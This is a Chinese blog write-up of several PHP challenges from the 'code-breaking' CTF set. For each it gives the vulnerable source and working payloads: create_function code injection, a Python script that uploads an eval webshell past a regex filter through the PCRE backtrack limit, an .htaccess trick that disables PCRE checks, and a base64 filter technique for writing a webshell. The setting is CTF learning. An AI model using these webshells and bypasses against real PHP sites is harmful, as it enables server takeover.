code-breaking-1

今天开始写咕咕了很久的code-breaking的题解和学习心得,罗老师说的,这是一个知识付费的时代,p神的小密圈真的,20000我都加。

function

这个题目本身很简单但是带了一些思考,我先把题目做了。

源码

1
2
3
4
5
6
7
8
9
<?php
$action = $_GET['action'] ?? '';
$arg = $_GET['arg'] ?? '';

if(preg_match('/^[a-z0-9_]*$/isD', $action)) {
show_source(__FILE__);
} else {
$action('', $arg);
}

题目的代码很简单,大致就是接受两个函数,然后一个正则,一个执行。

先看正则,正则的意思就是在$action的头部或者尾部找一个非大小写数字的字符,必须有,例如prinr_r这样就不行,这样就想到了一个php中的有趣的东西,命名空间,我们可以在函数的头部直接加上\代表最全局的命名空间,同时不会影响函数的执行.

这样就绕过了正则,这个版本的php还保持使用create_funciton这个函数,而这个函数有一个漏洞,在php中,create_function的源码是这样的.

1
function __lambda_func ( function_args ) { function_code } \0

它构造新的函数的方法是使用的单纯的字符串拼接,所以我们进行{}的闭合,这样的话最后面还有一个}我们可以用注释符把它注释掉

payload

1
action=\ceate_function&arg=1;}phpinfo();//

然后

1
2
action=\create_function&arg=1;}print_r(scandir('../'));//
action=\create_function&arg=1;}print_r(file_get_contents('../flag_h0w2execute_arb1trary_c0de'));//

得到flag

拓展

这里p牛也提出一个地方。

有一个写马的思路是

1
2
3
<?php
$a = create_function('',$_GET['cmd']);
$a();

这样也可以实现木马,但是由于这个函数的原理是简单的字符串拼接,而且在源码中可以发现$_GET['cmd']事实上已经执行过一遍了,我把代码改成这样

1
2
<?php
$a = create_function('',$_GET['cmd']);

然后

执行成功

当代码是

1
2
<?php
$a = create_function($_GET['cmd'],'');

PCREWAF

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
 <?php
function is_php($data){
return preg_match('/<\?.*[(`;?>].*/is', $data);
}

if(empty($_FILES)) {
die(show_source(__FILE__));
}

$user_dir = 'data/' . md5($_SERVER['REMOTE_ADDR']);
$data = file_get_contents($_FILES['file']['tmp_name']);
if (is_php($data)) {
echo "bad request";
} else {
@mkdir($user_dir, 0755);
$path = $user_dir . '/' . random_int(0, 10) . '.php';
move_uploaded_file($_FILES['file']['tmp_name'], $path);

header("Location: $path", true, 303);
} 1

分析

这个题目的代码的源码也很简单,就是绕过is_php就可以成功写入,绕不过就GG

这里的思路其实很简单,就是利用pcre的回溯次数限制来绕过。在php中有一个参数是pcre.backtrack_limit,至于啥事回溯,我就不表达了,可以用套娃的思路来理解吧,这个值的默认是为1000000

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import requests
import urllib

url = 'http://localhost:8088'

data = "<?php @eval($_GET['cmd']);?>" + "a" * 1000000

files = {
'file': data.encode()
}

response = requests.post(url, files=files)

while True:
cmd = input()
response1 = requests.get(response.url, params={'cmd': cmd})
print(response1.text.replace('a' * 1000000, ''))

执行成功

拓展

这里提一个问题,也是XNUCA2019 Ezphp的一个非预期解,当上传文件可以为.htaccess时候,我们就可上传内容为`

1
2
php_value pcre.backtrack_limit 0
php_value pcre.jit 0

这样的话

preg_match('/<\?.*[(;?>].*/is', $data)的返回值是无论如何,preg_match的返回值就是false,所以如果waf是if(preg_match("/[^a-z\.]/", $filename) == 1就可以绕过了,要想防护的,可以写成if(preg_match("/[^a-z\.]/", $filename) !== 0即可

phpmagic

这个题apt更新的太慢了,我就自己在mac电脑上搭了,所以payload可能会有不一样,体现在dig执行的输出结果中的版本内容。

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
header("Content-Type: text/html;charset=utf-8");
if(isset($_GET['read-source'])) {
exit(show_source(__FILE__));
}

define('DATA_DIR', dirname(__FILE__) . '/data/' . md5($_SERVER['REMOTE_ADDR']));

if(!is_dir(DATA_DIR)) {
mkdir(DATA_DIR, 0755, true);
}
chdir(DATA_DIR);

$domain = isset($_POST['domain']) ? $_POST['domain'] : '';
$log_name = isset($_POST['log']) ? $_POST['log'] : date('-Y-m-d');
?>
if(!empty($_POST) && $domain):
$command = sprintf("dig -t A -q %s", escapeshellarg($domain));
$output = shell_exec($command);

$output = htmlspecialchars($output, ENT_HTML401 | ENT_QUOTES);
echo $output;
$log_name = $_SERVER['SERVER_NAME'] . $log_name;
file_put_contents($log_name, $output);

echo $output;
endif;

把php代码拎出来就是这一些

分析

分析一下需要注意到点

1.$log_name是由$_SERVER['SERVER_NAME']$_POST['log']组成的,$_SERVER['SERVER_NAME'] 一般指的是header中的HOST参数,这里就是简单的拼接

2.$command是经过escapeshellarg处理的,$output又经过了htmlspecialchars处理,所以这里肯定是不能进行命令注入了。

3.看见了file_put_contents函数,最后写入文件,就想到了用伪协议来防止转义,这里需要用base64

4.$log_name限制了后缀

下面是经过处理前的$output,通过file_get_contents的手法可以上传为他们解码以后的内容,也避免了<?php被转义,但是需要注意的是base64 是4位一解的,所以可能需要在传入的base64之前填充字符,还有需要注意base64中不能含有=否则解码会出错。

执行成功

image-20200206105246912

payload

红色的两处进行了拼接,蓝色的地方是为了绕过后缀检查,绿色的地方前12是为了填充base64满足四位一解。

phplimit

payload

1
http://localhost:8084/?code=var_dump(file_get_contents(next(array_reverse(scandir(chr(ceil(sinh(cosh(tan(ceil(tan(chdir(next(scandir(pos(localeconv()))))))))))))))));

我终于知道套娃谁是先祖了。